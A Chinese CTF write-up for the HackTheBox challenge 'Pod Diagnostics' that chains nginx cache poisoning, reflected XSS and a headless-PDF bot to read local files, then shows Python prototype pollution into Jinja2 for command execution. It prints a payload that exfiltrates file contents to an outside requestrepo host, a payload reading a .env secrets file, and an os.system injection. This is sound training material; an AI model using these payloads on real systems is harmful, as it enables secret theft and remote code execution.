文章

hackthebox Pod Diagnostics

题目描述

We've discovered a mining pod tunnelling underneath a government facility. Luckily, we've managed to connect to an air-gapped control panel that was seemingly left enabled. Can you exploit it and help us track down the perpetrator controlling it?

收集信息

访问网站

页面似乎是一个监控服务器资源的网站

/generate-report端口可以下载一个pdf,应该能是bot访问后渲染的

有个下拉选择时间的功能,对应发送了/stats?period=1m请求,返回的正常的json信息

最后还有个report功能,但是要管理员密码才能进入

审计源码

有附件,分为3个服务,分别是web,stats和pdf,外部还有一个nginx

先看web部分,是一个使用flask框架的web服务,有一个明显的原型链污染

def merge(source, destination):
    for key, value in source.items():
        if hasattr(destination, "get"):
            if destination.get(key) and type(value) == dict:
                merge(value, destination.get(key))
            else:
                destination[key] = value
        elif hasattr(destination, key) and type(value) == dict:
            merge(value, getattr(destination, key))
        else:
            setattr(destination, key, value)

不过很可惜report相关的都需要登录才能访问

stats有个xss漏洞

app.get("/stats", async (req, res) => {
  const { period } = req.query;
​
  if (!period || !validPeriods.hasOwnProperty(period)) {
    return res.json({
      success: false,
      error: `<strong>${period} is invalid.</strong> Please specify one of the following values: ${Object.keys(validPeriods).join(", ")}`,
    });
  }

如果传入的period不在列表const validPeriods = { "1m": 60_000, "5m": 300_000, "10m": 600_000 };里面,返回的错误信息能够插入html标签

测试一下,访问/stats?period=<img%20src=x%20onerror=alert(1)>果然返回了

{"success":false,"error":"<strong><img src=x onerror=alert(1)> is invalid.</strong> Please specify one of the following values: 1m, 5m, 10m"}

不过暂时还不知道怎么利用

pdf服务也很正常,就是读取url然后将其渲染为pdf

app.get("/generate", async (req, res) => {
  const { url } = req.query;
  if (!url) return res.sendStatus(400);
  const pdf = await generatePDF(url);
  if (!pdf) return res.sendStatus(500);
  res.contentType("application/pdf");
  res.end(pdf);
});

最后看nginx

location = /stats {
    proxy_cache stat_cache;
    proxy_cache_key "$arg_period";
    proxy_cache_valid 200 15s;
​
    proxy_pass http://127.0.0.1:3001;
}
​
location / { 
    proxy_pass http://127.0.0.1:3000;
}

stats这个端口有缓存,而且缓存取决于period键,或许有机会缓存投毒?

分析

先看看访问/generate-report会发生什么吧

flask

@app.route("/generate-report")
def generate_report_handler():
    global is_generating_report
​
    if is_generating_report:
        abort(422)
    
    is_generating_report = True
​
    try:
        pdf_response = requests.get(f"{pdf_generation_URL}/generate?url={quote('http://localhost/')}")
​
        if pdf_response is None or pdf_response.status_code != 200:
            is_generating_report = False
            abort(pdf_response.status_code)
​
        is_generating_report = False
        return send_file(
            io.BytesIO(pdf_response.content), 
            mimetype="application/json", 
            as_attachment=True,
            download_name="report.pdf"
        )
    except:
        is_generating_report = False
        abort(pdf_response.status_code)

这里是直接requsts发送的请求,发送到后端的pdf服务

pdf服务的generatePDF函数用puppeteer访问了对应的url,这里有机会xss

const generatePDF = async (url) => {
  let browser;
  let output;
​
  try {
    browser = await puppeteer.launch({
      headless: true,
      pipe: true,
      args: ["--no-sandbox", "--disable-setuid-sandbox", "--js-flags=--noexpose_wasm,--jitless"],
      dumpio: true,
      executablePath: process.env.NODE_ENV === "production" ? "google-chrome-stable" : undefined,
    });
​
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();
​
    await page.goto(url, { waitUntil: "networkidle0", timeout: 10_000 });
​
    output = await page.pdf({ printBackground: true });
​
    await browser.close();
    browser = null;
  } catch (err) {
    console.log(err);
  } finally {
    if (browser) await browser.close();
  }
​
  return output;
};

如果能通过缓存投毒让bot访问到的页面直接包含xss信息,那么就有机会泄露些东西,例如用file协议访问本地文件泄露flag

这里缓存基于period键,nginx解析参数时仅取第一个,但是后端express却会将多个同名参数解析为一个字典,这就有了缓存投毒的可能

只需要先访问/stats?period=1m&period=%3Cimg%20src=x%20onerror=alert(1)%3E然后再访问主页就能看到xss的效果

现在问题来了,xss之后该让bot做些什么呢(

例如读取flag文件,我们可以通过传入url=file:///flag到pdf,然后将返回的pdf文件编码后发送出去

试着写一段payload

<img src=x onerror="fetch('http://localhost:3002/generate?url=file:///flag')
    .then(function(response) {
        return response.blob();
    })
    .then(function(blob) {
        return new Promise(function(resolve, reject) {
            var reader = new FileReader();
            reader.onloadend = function() {
                resolve(reader.result);
            };
            reader.onerror = function(error) {
                reject(error);
            };
            reader.readAsDataURL(blob);
        });
    })
    .then(function(base64data) {
        return fetch('http://7teo0yzo.requestrepo.com/', {
            method: 'POST',
            body: base64data
        });
    });">

然后成功收到了base64编码的pdf文件,内容便是flag

HTB{xxxxxxxxx_xxx_xxxx_xxxxxx_xxxxxxxx}

欸,这就出了?不是有原型链污染吗?report路由也没用啊?额,不会非预期了吧。。。

预期解

看了看官方的wp,果然是非预期了

官方是用这样的payload先拿到密码

fetch('http://localhost:3002/generate?url=file:///var/www/web/.env').then((data) => data.blob()).then((blob) => {var reader = new FileReader();reader.readAsDataURL(blob);reader.onloadend = function() {var base64data = reader.result;document.getElementById('output').innerText = base64data;}});

这里是读取了/var/www/web/.env然后直接把base64数据写进网页然后渲染成pdf返回给我们了,我的那种则要出网

拿到密码后参考https://blog.abdulrah33m.com/prototype-pollution-in-python/打原型链污染

response = requests.post(
    f"{server_url}/report",
    auth=(username, password),
    json={
        "title": "helloworld",
        "description": "helloworld",
        "__init__": {
            "__globals__": {
                "Template": {
                    "__new__": {
                        "__globals__": {
                            "new_context": {
                                "__globals__": {
                                    "exported": [
                                        "LoopContext",
                                        "TemplateReference",
                                        "Macro",
                                        "Markup",
                                        "TemplateRuntimeError",
                                        "missing",
                                        "escape",
                                        "markup_join",
                                        "str_join",
                                        "identity",
                                        "TemplateNotFound",
                                        "Namespace",
                                        "Undefined",
                                        f"internalcode\nimport os\nos.system('{cmd}')\nfrom jinja2.runtime import escape",
                                    ]
                                }
                            }
                        }
                    }
                }
            }
        }
    },
)

总结

挺有意思的一道题,不过题目没有做好权限控制,使得flag能直接读取到了。。。

许可协议:  CC BY 4.0